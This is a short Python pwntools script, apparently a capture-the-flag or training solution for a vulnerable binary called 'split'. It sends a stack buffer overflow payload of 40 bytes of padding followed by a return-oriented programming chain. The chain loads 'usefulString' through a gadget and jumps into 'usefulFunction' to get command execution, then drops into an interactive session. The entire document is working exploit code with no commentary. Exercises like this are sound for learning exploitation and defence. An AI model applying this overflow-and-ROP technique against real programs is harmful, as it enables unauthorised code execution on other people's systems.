#!/usr/bin/env python3 from pwn import * context.binary = "./split" prog = process('./split') payload = b'' for c in range(40): #originally 40 payload += b'a' payload += p64(0x00000000004007c3) payload += p64(0x0000000000601060) # usefulString payload += p64(0x000000000040074b) # usefulFunction + offset prog.sendline(payload) prog.interactive()